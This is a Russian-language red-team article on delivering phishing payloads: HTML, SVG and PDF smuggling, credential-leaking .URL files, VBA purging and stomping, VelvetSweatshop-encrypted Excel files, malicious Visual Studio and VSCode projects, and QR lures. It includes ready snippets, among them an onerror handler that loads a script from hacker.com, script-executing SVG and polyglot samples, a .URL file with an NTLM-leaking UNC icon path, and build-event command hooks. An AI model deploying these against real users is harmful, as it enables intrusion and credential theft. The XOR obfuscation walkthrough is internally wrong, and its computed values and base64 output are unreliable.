Light mode

Кто стучится к вам в почту? Социальная инженерия 2024

23 минуты
  • #Социнженерия

Большинство ссылок в этом материале открываются только при включенном VPN ;)

В предыдущей статье я рассказал о реализации таргетированных фишинговых атак в рамках Red Team и показал наиболее эффективные чейны. Тем не менее мои суждения о неэффективности тех или иных векторов с разными полезными нагрузками могут быть ошибкой наблюдателя. Ведь наш проектный опыт складывается из белых законтрактованных кейсов: зачастую это клиенты с достаточно высоким уровнем ИБ, которые прекрасно понимают, что прямая доставка бинарей в письмах с аттачментами — это плохо.

В этой статье хочется обсудить полезные нагрузки, которые не попали в прошлый материал. Сегодня они, как говорится, в ходу, и с учетом средней температуры по ИБ-больнице их можно достаточно эффективно использовать в качестве векторов получения начального доступа.

Так кто же может стучаться в вашу почту?

HTML/PDF/SVG Smuggling

HTML.png

HTML Smuggling

HTML Smuggling обсуждался уже много раз, но на PHDays 12 мне задали вопрос из зала: зачем я рассказываю о технике 2017–2018 гг., которая уже не так актуальна и о которой, к примеру, подробно написали Outflank. HTML Smuggling ни в коем случае не является новой техникой — об этом речи не велось. Но это все еще мощный способ доставки нагрузки на хост, который вряд ли скоро потеряет актуальность, — в силу своей гибкости и универсальности как в части кодовой реализации (мы можем реализовать атаку разными JavaScript-методами), так и в плане обфускации кода.

Гибкость и универсальность HTML Smuggling можно рассматривать в нескольких плоскостях:

1. Доставка. Можно применять разные методы инициирования распаковки и загрузки нашей полезной нагрузки и предпринять меры, гарантирующие, что это произойдет не при динамическом анализе в песочнице или динамическом АВ-анализе на хосте.

2. Обфускация. Преобразование полезной нагрузки (например, ZIP-архива) для обхода сигнатурных и эвристических детектов.

Примеры обфускации:

Не буду говорить про Base64, Reverse Base64 и шестнадцатеричные способы преобразований, лучше обсудим другие варианты обфускации представленных байтов нагрузки.

1. XOR. Это логическая операция, выполняемая между двумя последовательностями битов. Результат операции XOR для каждой пары битов равен 1, если только один из битов равен 1.

Логические шаги XOR:

0 XOR 0 = 0 

0 XOR 1 = 1 

1 XOR 0 = 1 

1 XOR 1 = 0

В контексте обфускации байтов Base64 в HTML Smuggling XOR может быть применен для преобразования или «замешивания» байтов, чтобы они стали менее читаемыми и более трудными для обнаружения.

Предположим, у нас есть строка Base64:

SGVsbG8gd29ybGQh

Разбиваем ее на байты:

48 65 6C 6C 6F 20 77 6F 72 6C 64 21

Выбираем ключ XOR (может быть любым числом, но для дешифровки нужно знать тот же ключ):

Key: 10101010

Применяем XOR между байтами и ключом:

48 XOR 10101010 = 154 

65 XOR 10101010 = 235 

6C XOR 10101010 = 198 

6C XOR 10101010 = 198 

6F XOR 10101010 = 197 

20 XOR 10101010 = 138 

77 XOR 10101010 = 221 

6F XOR 10101010 = 197 

72 XOR 10101010 = 216 

6C XOR 10101010 = 198 

64 XOR 10101010 = 206 

21 XOR 10101010 = 139

Преобразуем результат обратно в строку Base64:

MTggWE9SIDEwMTAxMA==

В результате строка Base64 SGVsbG8gd29ybGQh была обфусцирована с использованием XOR и ключа 10101010 в строку MTggWE9SIDEwMTAxMA==.

Пояснение

Исключающее ИЛИ (XOR) выполняется для каждой пары битов в двоичном представлении чисел. Когда биты совпадают, результат XOR равен 0; когда биты различаются, результат XOR равен 1:

  • 48 XOR 10101010 в двоичной системе: 00110000 XOR 10101010, что равно 10011010 в двоичной системе, что равно 154 в десятичной системе.
  • 65 XOR 10101010 в двоичной системе: 01000001 XOR 10101010, что равно 11101011 в двоичной системе, что равно 235 в десятичной системе.

2. AES. Аналогичным образом мы можем использовать блочное шифрование и дешифрование нагрузки: реализовать эти методы с помощью JavaScript и объединить с методами инициализации распаковки и загрузки полезной нагрузки.

Комбинации различных методов инициирования распаковки и загрузки полезной нагрузки

1. Встроенная загрузка (inline download) + прослушиватель событий (event listener)

Это тот самый дедовский способ инициализации загрузки с помощью кнопки, описанный в 2018 г. в блоге Outflank. Здесь используются теги <a> и атрибут download, указывающий на файл, который требуется загрузить (например, при нажатии на кнопку или выполнении другого действия). Чтобы усложнить жизнь песочницам, которые не умеют при динамическом анализе полностью эмулировать пользовательскую активность, можно использовать разные прослушиватели событий в JavaScript:

  • mousemove, mouseenter и mouseleave: срабатывают, когда указатель мыши двигается, входит в определенный элемент на странице или покидает его;
  • keydown, keyup: нажатие и отпускание клавиши на клавиатуре;
  • click, dblclick: щелчок или двойной щелчок мыши на элементе;
  • input, change: ввод текста в элемент формы или изменение значения формы.

Это всего лишь небольшой набор примеров: в JavaScript есть множество событий и их комбинаций, которые можно использовать в зависимости от ситуации и вашей фантазии.

2. Шифрование с помощью XOR/AES и предоставление пароля пользователю для дешифрования

Для запуска загрузки требуется взаимодействие пользователя с полем ввода пароля. Это позволит избежать автоматического статического и динамического анализа, поскольку пароль будет выслан отдельно. Конечный файл представляет собой форму, в которую необходимо ввести пароль, после чего выполнятся методы распаковки и загрузки.

3. Проверка User Agent и IP-адреса пользователя

Позволяет фильтровать UA песочницы и IP-адресацию, которая не принадлежит диапазону компании.

4. Image OnError Code Evaluation (IOCE)

В рамках этой техники для выполнения JavaScript-кода используется событие OnError (также можно использовать OnLoad) тега изображения (<img>). Она может быть как локальной (код находится в пределах той же страницы), так и удаленной (код загружается из внешнего источника).

Local Image OnError Code Evaluation

В локальном случае атакующий может использовать следующий код:

html

1<script>

2function executeCode() {

3 alert('PT SWARM Image OnError Code Evaluation (IOCE)');

4}

5</script>

6<img src="nonexistentimage.jpg" onerror="executeCode()">

Если изображение «nonexistentimage.jpg» не может быть загружено, сработает событие onerror и выполнится указанный в нем код.

Remote Image OnError Code Evaluation

При удаленной атаке код можно загрузить с внешнего сервера:

html

1<img src="https://example.com/nonexistentimage.jpg" onerror="loadScript('https://hacker.com/malicious.js')">

2<script>

3function loadScript(url) {

4 var script = document.createElement('script');

5 script.src = url;

6 document.body.appendChild(script);

7}

8</script>

Если изображение нельзя загрузить, сработает onerror и будет загружен внешний JavaScript-файл с вредоносным кодом.

Логика атаки заключается в использовании события onerror для проверки, может ли изображение быть загружено. Это позволяет избавиться от тегов <script> в HTML-файле, поскольку весь встроенный JavaScript- код распаковывается при загрузке страницы. При попытке загрузить несуществующее изображение сервер вернет ошибку и сработает событие onerror. Злоумышленники могут использовать это для внедрения зловредного кода.

Основные шаги атаки:

  • Злоумышленник встраивает тег <img> в веб-страницу, указывая в атрибуте src URL изображения, которого не существует.
  • Если изображение не может быть загружено (например, из-за ошибки 404 Not Found), в браузере срабатывает событие onerror.
  • В атрибуте onerror указывается JavaScript-код, который будет выполнен в случае ошибки.

Вместо ссылок на изображения можно использовать ссылки на веб-сайты или внутренние узлы сети.

5. SVG Image Code Execution (SVG in Data URI)

Метод основывается на возможности встраивать в SVG-файлы JavaScript-код и выполнять его при загрузке изображения. Процесс реализации SVG Image Code Execution может выглядеть следующим образом.

1. Создается SVG-изображение, включающее вредоносный код внутри тега <script> или в других элементах, поддерживающих выполнение JavaScript.

html

1<svg xmlns="http://www.w3.org/2000/svg"><script>alert(PT SWARM SVG in Data URI'); </script></svg>

2. SVG-изображение встраивается в HTML-код, например в тег <object> или другой элемент, поддерживающий загрузку изображений.

html

1<object data="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzdHJpbmc+CiAgICA8c2NyaXB0PgogICAgICAgIC8vIFZyZWRvbW9uczogbWFpbiBkYXRhLgogICAgICAgIC8vIGluY2x1ZGluZyBqYXZhc2NyaXB0LgogICAgICAgIC8vIGFuYWx5dGljcy1yZXNsaWdodCBoaWdobGlnaHQgaXMgdXhlbWJlcmVkLgogICAgICAgIC8vIGNhbGN1bGF0ZWQgb3ZlciBmb3JtYXRpYyBzdHJldmlldy4KICAgICAgYWxlcnQoJ01hbGljaXVzIGNvZGUgZXhlY3V0ZWQhJyk7CiAgICAvLyBUaGUgY29kZSBpcyBkZXZlbG9waW5nIGFuZCBjb25kaXRpb24gaXMgY29kZSBvbiBzdG9yZSBvZiBjbG9kLgo8L3NjcmlwdD4KPC9zdmc+Cg==" type="image/svg+xml"></object>

3. При загрузке HTML-страницы браузер автоматически пытается загрузить и отобразить SVG-изображение. В этот момент будет выполнен встроенный в него вредоносный код.

Этот метод позволяет злоумышленникам внедрять и выполнять вредоносный код на стороне клиента при просмотре HTML-страницы. Однако имеется один минус: нагрузка (например, ZIP-архив) будет иметь произвольное UUID-имя файла, а не то, которое было указано в исходной функции. Однако и эта проблема может быть решена: последние улучшения в инструменте AutoSmuggle позволяют преодолеть ограничения имен файлов и расширений. Это достигается за счет использования модифицированного JavaScript, который динамически добавляет элемент привязки (<a>) для начала загрузки.

В качестве функции для своих семплов можно использовать сниппет со Stackoverflow в виде готового кода:

JavaScript:

javascript

1function save(){

2 const file = new File(['this is where BLOB should go'], {type: 'application/pdf'}); // edit this line to have access to source blob

3 const link = document.createElement('a');

4 link.href = URL.createObjectURL(file);

5 link.download = 'this is the name.pdf';

6 document.body.appendChild(link);

7 link.click();

8 document.body.removeChild(link);

9}

10window.save = save;

HTML:

html

1<a class="downloadlink" id="downloadlink" target="_blank" onclick='save()'>here is your link</a>

SVG Smuggling

SVG Smuggling — это разновидность HTML Smuggling, которая использует SVG-изображения для внедрения вредоносного кода в HTML-страницу. Термин включает разные техники, в том числе уже описанную SVG Image Code Execution. Кроме того, этот метод можно использовать с файлами .svg.

Виды SVG Smuggling помимо SVG Image Code Execution (SVG in Data URI)

1. SVG Smuggling с CDATA (Character Data).

Использует CDATA-секции внутри SVG-файла для внедрения вредоносного кода, который будет интерпретирован в контексте HTML. CDATA-секции позволяют вставлять содержимое, которое не будет интерпретироваться как XML-разметка, что можно использовать для обхода некоторых фильтров и безопасных механизмов.

Принцип работы следующий. В SVG-файл вставляется CDATA-секция, в которой содержится вредоносный JavaScript-код. Его можно поместить в теги script:

html

1<svg xmlns="http://www.w3.org/2000/svg" width="0" height="0" style="display:none;">

2 <defs>

3 <script type="text/javascript">

4 <![CDATA[

5 alert("PT SWARM SVG Smuggling as CDATA");

6 ]]>

7 </script>

8 </defs>

9</svg>

2. SVG as CSS

Техника внедрения вредоносного SVG-кода в стилевые правила CSS.

html

1<style>

2 /* Объявление SVG в стилевых правилах CSS */

3 .malicious-svg {

4 background-image: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"><script>alert("PT SWARM SVG Smuggling as CSS");</script></svg>');

5 width: 0;

6 height: 0;

7 overflow: hidden;

8 display: none;

9 }

10</style>

11<body>

12<!-- Использование вредоносного SVG-кода -->

13<div class="malicious-svg"></div>

14</body>

В этом примере код SVG находится в строке CSS стилей и будет выполнен при применении стилей.

3. SVG Polyglot

Это файл, который может быть интерпретирован как валидный HTML и валидный SVG.

html

1<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"

2 "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">

3<svg xmlns="http://www.w3.org/2000/svg">

4 <rect x="10" y="10" width="100" height="100" fill="red" />

5</svg>

6<script type="text/javascript">

7 <![CDATA[

8 alert("PT SWARM SVG Polyglot");

9 ]]>

10</script>

11<html xmlns="http://www.w3.org/1999/xhtml">

12<head>

13 <title>SVG Polyglot</title>

14</head>

15<body>

16 <h1>This is HTML</h1>

17</body>

18</html>

Файл представляет собой SVG-изображение с добавленным JavaScript-кодом, однако благодаря соответствующим синтаксическим и структурным элементам он также является валидным HTML-документом. Соответственно, файл можно успешно интерпретировать и как SVG, и как HTML, что позволяет использовать его в разных контекстах и сценариях.

В сети полно примеров реализации SVG Smuggling. Например, на платформе delivr.to можно в динамике наблюдать отработку SVG Smuggling (когда с помощью JavaScript на странице настроено прослушивание события на пользовательский клик) — см. рис. 1.

1.gif
Рисунок 1. Реализация SVG Smuggling

За реальными примерами тоже ходить далеко не нужно. Так, широко известная группировка RedCurl модернизировала свою цепочку заражения и вместо приложенных к письму ссылок теперь использует SVG Smuggling (см. рис. 2.1 и 2.2)

Рис_2_1_замена.png
Рисунок 2.1. Цепочка заражения RedCurl

 

Рис_2_2_замена.png
Рисунок 2.2. Пример вредоносного письма

PDF Smuggling и PDF Polyglot (aka MalDoc in PDF)

PDF Smuggling

Это метод манипуляции PDF-файлами для внедрения вредоносного кода или вложений. Основной упор делается на встраиваемый JavaScript-код, который может быть выполнен при открытии PDF. При этом злоумышленник может использовать разные механизмы встраивания (например, событие /OpenAction, /S /JavaScript, /JS this.exportDataObject({ cName: "filename.html", nLaunch: 2 }) ), чтобы автоматически запустить вредоносные операции.

PDF Smuggling эффективно используется при открытии PDF-файлов в соответствующих ридерах, например Adobe Acrobat, Foxit Reader, PDF Reader и др. Программа обнаруживает JavaScript-код и инициирует запрос на закачку и открытие дополнительного файла через браузер. При открытии файла в самом браузере механизм не сработает: в большинстве случаев они обладают дополнительными мерами защиты, ограничивающими выполнение подобных атак.

3_1.gif
Рисунок 3.1. Открываем PDF в браузере — дополнительный файл не скачивается

 

3_2.gif
Рисунок 3.2. Открываем PDF в Adobe Acrobat — дополнительный файл скачивается

 

PDF Polyglot (MalDoc in PDF)

Техника заключается в создании документа, который может одновременно быть валидным PDF-файлом и документом другого формата, например DOCX. Идея заключается в том, чтобы использовать особенности PDF и другого выбранного формата для создания файла, который может быть корректно интерпретирован в обоих контекстах. К примеру, можно вставить байты другого формата в PDF-документ так, чтобы они не повредили его структуру, но при этом сделали его допустимым и в другом контексте. Хорошо созданный полиглотный файл можно будет открыть как в PDF-ридерах, так и в Microsoft Word, при этом в зависимости от программы содержимое файла будет отличаться.

Таким образом, в отличие от PDF Smuggling, где акцент делается на внедрении вредоносного кода, PDF Polyglot стремится создать документ, который может быть интерпретирован двумя разными способами.

4_1.gif
Рисунок 4.1. Открытие полиглотного файла

 

Рис4_2.png
Рисунок 4.2. Пример кода полиглотного файла

.URL

Косвенно я затрагивал URL-векторы в прошлом материале, когда описывал кейс доставки URL-файла, который указывал на скрипт .bat, расположенный на удаленном сервере (см. рис. 5).

Рис_5_замена.png
Рисунок 5. URL-файл Emotet с вредоносной наргрузкой

 

Помимо этого .URL-файлы могут использоваться для проведения атаки Credential Harvesting. В этом случае файл указывает на удаленный ресурс, который реализует принудительную аутентификацию при просмотре .URL. Это приведет к утечке аутентификационных данных при переходе к файлу в файловой системе, если ваш SMB-трафик любит погулять во внешний мир. Пару раз с помощью этого вектора нам даже удавалось забрать учетные данные администратора домена :)

[DEFAULT] 

BASEURL=https://<domain>/ 

[{000214A0-0000-0000-C000-000000000046}] 

Prop3=19,2 

[InternetShortcut] 

URL=https://<domain>/ 

IDList= 

IconFile=\\<server>\%ComputerName%\%UserDomain%\%UserName%\ 

IconIndex=0 

HotKey=0

На PHD12 я говорил, что ссылки будут наиболее актуальным способом доставки полезной нагрузки, и подтверждение моих слов не заставило себя ждать. В ноябре 2023 г. стало известно о чудовищно простом способе обхода SmartScreen и MOTW (CVE-2023-36025) — с помощью указания внутри .URL ссылки на файл в удаленном ZIP-архиве, расположенном на WebDAV-сервере. К примеру, техника активно эксплуатировалась злоумышленниками, распространяющими Phemedrone Stealer (см. рис. 6.1 и 6.2)

 

Рис_6_1_замена.jpg
Рисунок 6.1. Чейн с использованием URL-файла

 

Рис_6_2_замена.png
Рисунок 6.2. Ссылка на полезную нагрузку

Microsoft в режиме пожарной бригады выпустила патч для закрытия уязвимости, но почему-то не спрогнозировала, что хакер — человек простой, и он попробует допилить чейн и добавить в него еще один шаг: второй .URL-файл, который будет ссылаться на первый, содержащий путь к полезной нагрузке на WebDAV-сервере. В итоге появилась уязвимость CVE-2024-21412, которую эксплуатировали злоумышленники из Water Hydra.

Hис7_1.jpg
Рисунок 7.1. Модернизированный чейн

 

 

Рис_7_2_1.png
Рис_7_2_2.png
Рисунок 7.2. Путь к полезной нагрузке

PDF Luring

Недавно я обнаружил в твиттере (ныне X)*, что термин «приманка», который мы используем в работе, среди DFIR-специалистов и в зарубежном ИБ-комьюнити носит красивое название PDF Luring.

* Социальная сеть заблокирована на территории Российской Федерации

Это техника, которая используется для манипуляции PDF-файлами для привлечения и обмана пользователей. Контент в PDF Luring может быть разным (зависит от целей атакующего), но идея в любом случае сводится к тому, чтобы повысить уровень доверия жертвы и убедить ее перейти по приложенной ссылке в архиве или, к примеру, воспользоваться паролем к зашифрованному файлу, который либо был доставлен жертве раньше, либо скачивается при переходе по ссылке.

 

Рис_8_2_замена.png
Рисунок 8.1. PDF Luring на примере Qakbot

 

Рис_8_3.png
Рисунок 8.2. PDF Luring на примере Qakbot

Однако неправильно говорить о luring’е только в контексте PDF-файлов. В качестве красочной приманки можно использовать и документы Microsoft Office, например .docx или .pptx. Также важно отличать lure-файлы от decoy — обычных приманок, призванных повысить уровень доверия жертвы своей безобидностью или отвлечь ее после отработки чейна, предоставив какой-либо документ для логичного завершения сценария.

Рис_9_1_замена.png
Рисунок 9.1. Кейс Scaly Wolf

 

Рис_9_2.png
Рисунок 9.2. Кейс Scaly Wolf

 

Рис_9_3_замена.png
Рисунок 9.3. Кейс Scaly Wolf

Отмечу, что этот вектор является своеобразным ответом на развитие функциональных возможностей динамического анализа песочниц. Как минимум они могут проводить динамический анализ вложенных в письмо ссылок и в случае вынесения неоднозначного вердикта либо вырезать их, либо использовать SafeLink (менять оригинальный URL на временный или безопасный вариант). В тривиальном варианте SafeLink может выглядеть как замена исходного URL-адреса в письме на адрес, ведущий на корпоративную HTML-заглушку. Там пользователя предупредят, что он переходит на внешний ресурс, и попросят дополнительное подтверждение в виде клика по исходной ссылке.

Еще одним способом доставки ссылки не в теле письма является использование HTML Redirects файлов. С их помощью можно перенаправлять жертву на целевые веб-ресурсы, качать вредоносные файлы или имитировать порталы с формами ввода учетных данных. Использование JavaScript в HTML-редиректорах позволяет обфусцировать исходную ссылку, чтобы усложнить песочнице и технологии SafeLink процесс идентификации, анализа и перезаписи URL-адреса.

Рис_10_1.PNG
Рисунок 10.1. Применение HTML Redirects «в дикой природе»

 

Рис_10_2.PNG
Рисунок 10.2. Работа техники HTML Redirects

 

Рис_10_3_замена.png
Рисунок 10.3. Содержимое файла HTML Redirects

 

Рис_10_4_замена.png
Рисунок 10.4. Концепт обфускации URL-адреса

 

10_5.gif
Рисунок 10.5. Динамическая демонстрация техники

VBA Macro (Hold)

Я не включил в прошлую статью часть про VBA-макросы, потому что в конце все равно добавил бы, что эти векторы вымирают. Но инвестдома часто пересматривают свои прогнозы по эмитентам и меняют рекомендации с «покупать» на «продавать» или «держать» :) Я тоже меняю рекомендацию по VBA-макросам на «держать в payload-арсенале». Не стоит забывать, что рассылка полезной нагрузки может начаться из скомпрометированной корпоративной почты сотрудника, а это уже совсем другая история :)

Поскольку внутренняя почта — это доверенная среда, никакой Mark-of-the-Web нам не страшен, и наши наполненные макросами документы Microsoft Word обретают второе дыхание. Ведь нам даже не придется заморачиваться и ломать голову, в каком же контейнере их доставить: можно совершено легитимно отправлять их в виде аттачмента к письму. Однако при правильном подходе к архитектуре защиты корпоративной почты внутренний трафик тоже заворачивается и анализируется злыми песочницами с динамическим анализом. Это потребует от нас более продвинутой VBA-разработки, позволяющей его обойти. Кроме того, при благоприятном стечении обстоятельств внутренний трафик может все-таки не заворачиваться в почтовые СЗИ по причине нехватки мощностей, из-за вайтлистинга, а также разрешения на использование VBA-макросов в определенных файлах MS Office и в документах с определенными названиями (привет бухгалтерии с их ФОТ, реестрами и другими прелестями мира Excel).

Рекомендую освежить в памяти следующие векторы:

VBA Purging

В чем суть: макросы VBA хранятся в потоках (stream) модулей CFBF-файлов (Compound File Binary Format). При этом каждый поток состоит из двух частей: PerformanceCache и CompressedSourceCode.

Рис_11_замена.jpg
Рисунок 11. Структура потока
  • PerformanceCache (также известный как P-code) представляет собой массив байтов, содержащий скомпилированный код VBA и несжатый текстовый код VBA.
  • CompressedSourceCode содержит исходный код VBA, который сжат с помощью фирменного алгоритма Microsoft.

Когда макрос добавляется в документ, механизм VBA сохраняет скомпилированную версию кода в разделе PerformanceCache соответствующего потока модулей для повышения производительности. Однако приложение Office получит доступ к PerformanceCache только в том случае, если его версия и архитектура соответствуют тем, которые использовалось для компиляции исходного кода VBA. Информация о версии и реализации хранится в потоках _VBA_PROJECT и __SRP_#. Если версии не совпадают, сжатый исходный код распаковывается, компилируется и вместо него запускается код из CompressedSourceCode. По сути, мы имеем бесполезную PerformanceCache часть потока, которая позволяет некоторым АВ-решениям, анализирующим VBA-код на основе PerformanceCache, детектить и выносить вердикт.

В связи с тем, что для успешного запуска VBA-кода на хосте не требуется PerformanceCache-часть потока (достаточно сжатого исходного VBA-кода в CompressedSourceCode), и появилась техника VBA Purging. Она полностью удаляет данные из части потока модуля PerformanceCache и из потока _VBA_PROJECT, устанавливая его размер/значение равным 0. Плюс также удаляет все потоки SRP: это необходимо, поскольку потоки _VBA_PROJECT и SRP содержат зависящие от версии MS Office PerformanceCache-данные, которые приведут к ошибке во время выполнения, если в потоке модуля нет части PerformanceCache. После очистки код VBA будет присутствовать только в сжатой форме потока модуля CompressedSourceCode, вводя в заблуждение многие АВ-движки и YARA-правила и позволяя использовать даже самые простые и подозрительные функции, например CreateObject.

Рис_12_1_замена.png
Рисунок 12.1. Исходный документ с VBA-кодом без применения VBA Purging

 

Рис_12_2_замена.png
Рисунок 12.2. Исходный VBA-код макроса

 

Рис_12_3_замена.png
Рисунок 12.3. Применение техники VBA Purging
Рис_12_4_замена.png
Рисунок 12.4. Преобразованный документ с VBA-кодом

VBA Stomping

Эта техника запутывания VBA-кода появилась раньше, чем VBA Purging, но суть ее работы будет проще объяснить на контрасте между ними. VBA Purging удаляет данные из PerformanceCache-части потока и полагается на сжатый исходный код VBA в CompressedSourceCode. VBA Stomping же полагается на скомпилированную часть в PerformanceCache-части потока, помещая вместо вредоносного VBA-кода в исходную сжатую часть потока CompressedSourceCode невредоносный VBA код с легитимным неподозрительным функционалом.

Отмечу, что у этой техники есть существенный недостаток. Чтобы запустить заранее скомпилированный VBA-код из PerformanceCache-части потока, версия MS Office, где будет скомпилирован p-code, должна совпадать с версией MS Office жертвы. Иначе макрос выполнится неправильно. Соответственно, сначала придется выполнить разведку версии MS Office, которую жертвы используют на хостах. Зато, если в песочнице используется другая версия MS Office, можно будет обойти динамический анализ в силу невыполнимости макроса (но это не точно :) ).

VBA Tricks

MsgBox

Действующая с 2019 г. группа злоумышленников Aggah доставила своим жертвам множество разных полезных нагрузок, в основном — RevengeRAT. Группа особенно хорошо работает с документами MS Office и использует разные методы, чтобы сделать свои VBA-сценарии менее заметными. В том числе злоумышленники используют для обхода средств защиты на основе ИИ комментарии, содержащие строку MsgBox.

Функция MsgBox используется в VBA для запроса окон сообщений, которые появляются во многих сценариях Visual Basic и обычно не вызывают опасений. Наличие этой строки в комментариях к коду VBA увеличивает вероятность того, что модуль ИИ классифицирует ее как безопасную. Если код короткий и его значительную часть составляют длинные комментарии MsgBox, это заметно повысит шанс того, что он будет классифицирован как безопасный.

Рис_13_замена.png
Рисунок 13. Комментарии MsgBox в коде VBA

Команды среди длинных бессмысленных комментариев

Другое интересное решение — дропперы Emotet VBA, содержащие длинные комментарии из случайных слов. В примере на рис. 15 исполняемая команда и содержащая ее переменная не были запутаны, а просто плавали в море длинных случайных комментариев.

Рис_14_замена.png
Рисунок 14. Emotet VBA

Использование чрезмерных комментариев может ввести в заблуждение как аналитиков, так и решения на базе ИИ. Первые могут пропустить вредоносное выполнение MSHTA при просмотре кода, а вторые — уделить больше внимания безопасным чрезмерным комментариям, чем вредоносным функциям.

Использование свойств документов

Рис_15_1_замена.png
Рисунок 15.1. Указываем в теме (subject) свойств документа cmd.exe

 

Рис_12_2_замена.png
Рисунок 15.2. Макрос

 

Рис_15_3_замена.png
Рисунок 15.3. Тема документа

 

Рис_15_4_замена.png
Рисунок 15.4. При открытии документа срабатывает макрос

VelvetSweatshop: общий пароль для запароленных Excel-файлов

Для обхода статического и динамического анализа офисных документов злоумышленники часто прибегают к использованию паролей. Но отдельно сообщать жертве пароль для документа неудобно, да и в целом это вызывает подозрения. Однако есть выход: задать пароль для файла Excel с VBA-макросами с помощью пароля VelvetSweatshop. Это убьет сразу двух зайцев: статический/динамический анализ документа и автоматическую расшифровку файла у пользователя на хосте.

Как это возможно? Все просто: этой технике уже 17 лет. Программисты Microsoft по неизвестной причине (возможно, вообще ради шутки) внедрили общий пароль VelvetSweatshop для расшифровки XLS-файлов в режиме «Только для чтения». То есть при установке пароля VelvetSweatshop Excel-файлы шифруются, но потом открываются в Excel без ввода пароля. Это идеальный вариант для атакующих, поскольку Excel по умолчанию проверяет этот пароль на всех зашифрованных файлах. При этом MS Office не будет генерировать предупреждающих диалоговых окон, кроме указания на то, что файл доступен только для чтения, поскольку расшифрует файл с помощью дефолтного пароля VelvetSweatshop. Если же приложение не сможет расшифровать файл с помощью этого пароля, оно попросит пользователя ввести другой.

В 2020 г. с VelvetSweatshop доставляли LimeRAT, а в марте 2022 г. — XLoader/Formbook.

Если вы хотите спросить, почему этот баян находится в материале 2024 г., ответ прост: этот метод до сих пор эффективен и затрудняет анализ средствам защиты. Исследование CheckPoint от 8 февраля 2024 г. наглядно демонстрирует, что в актуальных семплах «из дикой природы» до сих пор можно увидеть эту технику (см. рис. 16.1 и 16.2).

image_2024-02-13_19-57-13.png
Рисунок 16.1. Использование VelvetSweatshop

 

image_2024-02-13_19-58-19.png
Рисунок 16.2. Использование VelvetSweatshop

Разработчикам приготовиться

Наверное, многие из вас слышали, что хакеры из Lazarus занимались фишингом с фокус-группой из исследователей по кибербезопасности (раз/два).

Рис_17.png
Рисунок 17. Активность Lazarus

В последнее время активно развивается следующая схема, с которой столкнулись некоторые наши коллеги-разработчики. Злоумышленники знакомятся с пользователями в общих каналах (комментариях к новостям), а затем присылают вредоносные вложения или просят пройти по ссылке, по которой нужно скачать и запустить файл (например, резюме, описание проекта, новость или отчет). Зачастую мошенники также просят материальную помощь, используя разные манипуляции.

Пример атаки, с которой столкнулся наш коллега

Мошенник связался с сотрудником Позитива через канал разработчиков и предложил ему посмотреть проект по безопасности на GitHub, над которым работает open source community. Описание было убедительным и вызывало интерес, но сам проект содержал вредоносный файл. Его запуск мог привести к взлому ноутбука, с которого сотрудник мог подключиться к сети компании.

Еще один пример

Злоумышленник вышел на нашего коллегу через канал, посвященный ИБ, и начал писать личные сообщения: якобы для того, чтобы обсудить новость о недавнем исследовании. Расположив жертву к себе, мошенник попросил переслать его резюме в отдел HR, а затем стал вымогать деньги. Сотрудник заблокировал его, но тот начал создавать новые аккаунты и писать с них.

Что же злоумышленники могут доставлять разработчикам? К примеру, нагрузки под специализированные IDE (JetBrains, VSCode, Visual Studio) и т. д. Это могут быть как вредоносные плагины и расширения, так и готовые проекты с вредоносной нагрузкой. Например, как в векторе, описанном в блоге Google TAG и технически раскрытом командой Outflank. Также существует публичный репозиторий, демонстрирующий реализацию атаки через проекты Visual Studio.

Вот некоторые публично раскрытые методы использования Visual Studio:

1. PreBuildEvent: выполняет произвольные команды перед компиляцией проекта.

<PreBuildEvent>

<Command>

cmd /c calc

</Command>

</PreBuildEvent>

2. GetFrameworkPaths Target: срабатывает при просмотре кода.

<Target Name="GetFrameworkPaths">

<Exec Command="calc.exe"/>

</Target>

3. COMFileReference: срабатывает при загрузке TypeLib во время открытия проекта.

<COMFileReference Include="files\helpstringdll.tlb">

<EmbedInteropTypes>True</EmbedInteropTypes>

</COMFileReference>

Ситуация усугубляется тем, что для работы технологии MOTW для .sln в Visual Studio нужно вручную включить и настроить параметры доверия, т.к. по умолчанию они выключены (см. рис. 18.1–18.3).

Рис_18_1_замена.png
Рисунок 18.1. Параметры доверия в Visual Studio 2019

 

Рис_18_2.png
Рисунок 18.2. Параметры доверия в Visual Studio 2022

 

Рис_18_3.gif
Рисунок 18.3. Кейс в динамике

После публикации исследований обе команды получили ответ от Microsoft, что это не баг, а фича проблема безопасности, поскольку открытие проекта Visual Studio само по себе является небезопасной операцией.

В свою очередь команда MDSec провела потрясающее исследование, посвященное использованию расширений .vsix VSCode и URI-обработчика vscode:// для установки расширения в IDE разработчика. Расширение размещается в официальном маркетплейсе плагинов, затем код выполняется на атакуемой машине. Для создания .VSIX-расширений можно использовать генератор, который подготовит необходимый шаблон (см. рис. 19).

Рис_19.png
Рисунок 19. Генератор .VSIX-расширений

После реализации логики полезной нагрузки в extension.js и подготовки расширения к бою с разработчиками, его нужно загрузить на официальный маркетплейс и получить уникальный URI-обработчик. При открытии в браузере жертвы он будет вести на .VSIX-расширение с полезной нагрузкой и выполнять код после получения разрешения на установку (см. рис. 20.1–20.3).


 

Рис_20_1.png
Рисунок 20.1. Расширение в маркетплейсе

 

Рис_20_2.png
Рисунок 20.2. Запрос на запуск

 

Рис_20_3.png
Рисунок 20.3. Предупреждение при запуске

При размещении подобных расширений и готовых проектов в доверенной для разработчика среде (т.е. при реализации Internal Phishing на этапе, когда получены доступы к среде разработки компании) шанс реализации атаки кратно возрастает.

QR-коды

Мы еще не практиковали этот вектор в своих проектах в силу его направленности на мобильные устройства сотрудников (это личные вещи, которые не попадают в разрешенный скоуп работ). Тем не менее техника кажется мне достаточно эффективной, и вот почему.

После блокировок банковских карт и приложений для бесконтактной оплаты в нашу жизнь ворвались QR-коды. Также QR-коды часто используются сотрудниками компаний для привязки своих устройств к MFA — чтобы получать и подтверждать пуши двухфакторной аутентификации. Даже в нашем журнале вы встретите множество QR-кодов, которые ведут на разные веб-ресурсы. При этом QR-коды можно доставлять как в теле электронного письма, так и в PDF-файлах: по сравнению с обычными вложенными ссылками это дает атакующему следующие преимущества:

1.    QR-коды позволяют обойти механизмы «безопасных ссылок». Загадочный URL-адрес скрыт в коде, что затрудняет его оценку пользователем.

2.    QR-коды могут содержать URL-адрес, направляющий пользователя на портал входа в систему, который может перехватывать учетные данные.

